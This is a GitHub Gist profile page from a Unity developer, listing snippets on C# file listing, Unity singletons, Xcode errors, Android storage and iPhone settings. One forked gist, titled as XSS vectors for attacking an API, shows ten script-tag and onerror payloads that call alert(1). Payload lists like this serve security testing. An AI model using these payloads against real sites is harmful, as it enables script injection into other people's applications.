Skip to content

Instantly share code, notes, and snippets.

View unitycoder's full-sized avatar
✅
‏‏‎

mika unitycoder

✅
‏‏‎
View GitHub Profile
@unitycoder
unitycoder / ListFilesInFolders0.cs
Last active August 8, 2020 13:48
List Files From Folder, with Multiple file Extensions (using linq)
// https://stackoverflow.com/a/12927028/5452781
var filePaths = Directory.GetFiles(param).Where(file => Regex.IsMatch(file, @"^.+\.(bob|hob)$",RegexOptions.IgnoreCase)).ToArray();
for (int i = 0; i < filePaths.Length; i++)
{
Console.WriteLine(filePaths[i]);
}
@unitycoder
unitycoder / super-singleton-before-scene.cs
Last active September 17, 2017 08:51
Super Singleton Unity
//Reminder if you want a global singleton gameobject in Unity
// create it via with
[RuntimeInitializeOnLoadMethod(RuntimeInitializeLoadType.BeforeSceneLoad)]
public static void MyFirstMethodToRun()
{
//
}
// https://twitter.com/Naxum/status/867837810610458625
@unitycoder
unitycoder / unity-xcode-build-errors.txt
Last active October 11, 2019 14:05
XCode Errors & Solutions
old x code versions
https://xcodereleases.com/
-----------------
Q) "use of undeclared identifier gles_chk": GLES_CHK(glBindTexture(GL_TEXTURE_2D, (GLuint)curTex));
A) remove GLES_CHK: (glBindTexture(GL_TEXTURE_2D, (GLuint)curTex));
----------------
@unitycoder
unitycoder / unity-android-sdcard.cs
Last active June 1, 2017 05:33
Read & Write Android SDCard from Unity
// https://forum.unity3d.com/threads/writing-to-sd-card-on-android.292688/#post-2659229
// https://forum.unity3d.com/threads/override-unity-data-folder-path.112703/
// this!? https://gist.github.com/gering/f37082d8dd45a3ae4f2c
@unitycoder
unitycoder / youtube-video-url.txt
Created June 1, 2017 07:18
Youtube Get Video URL & Details
// https://stackoverflow.com/questions/31606019/android-java-youtube-api-v3-0-get-video-rtsp-link?rq=1
http://www.youtube.com/get_video_info?video_id=...
@unitycoder
unitycoder / 666_lines_of_XSS_vectors.html
Created June 5, 2017 08:35 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@unitycoder
unitycoder / unity-plugins.md
Last active October 4, 2019 09:05
Unity Plugins
@unitycoder
unitycoder / Screen-Overlay-detected.txt
Last active June 22, 2017 09:15
Screen Overlay detected (Samsung S7) Android
"Screen Overlay detected" to change this permission setting, you first have to turn off the screen overlay from Settings > Apps
- Developer Options, disable Show Touches and/or Show Pointer location
or
- Kill running applications (ES File manager and others)
@unitycoder
unitycoder / iphone-notes.md
Last active June 2, 2021 10:11
Change Country in App Store Without Payment Details (ios, iphone) Apple

Move All Notes from iphone to cloud

  • open notes app
  • click edit
  • click move all..
  • move to icloud
  • then login to icloud.com you can see the notes there

Change Country in App Store Without Payment Details (ios, iphone)

  • Maybe updating to latest ios helped, there is not "None" option when changing store.
  • Or having your acccount as an iphone developer (itunes connect tester)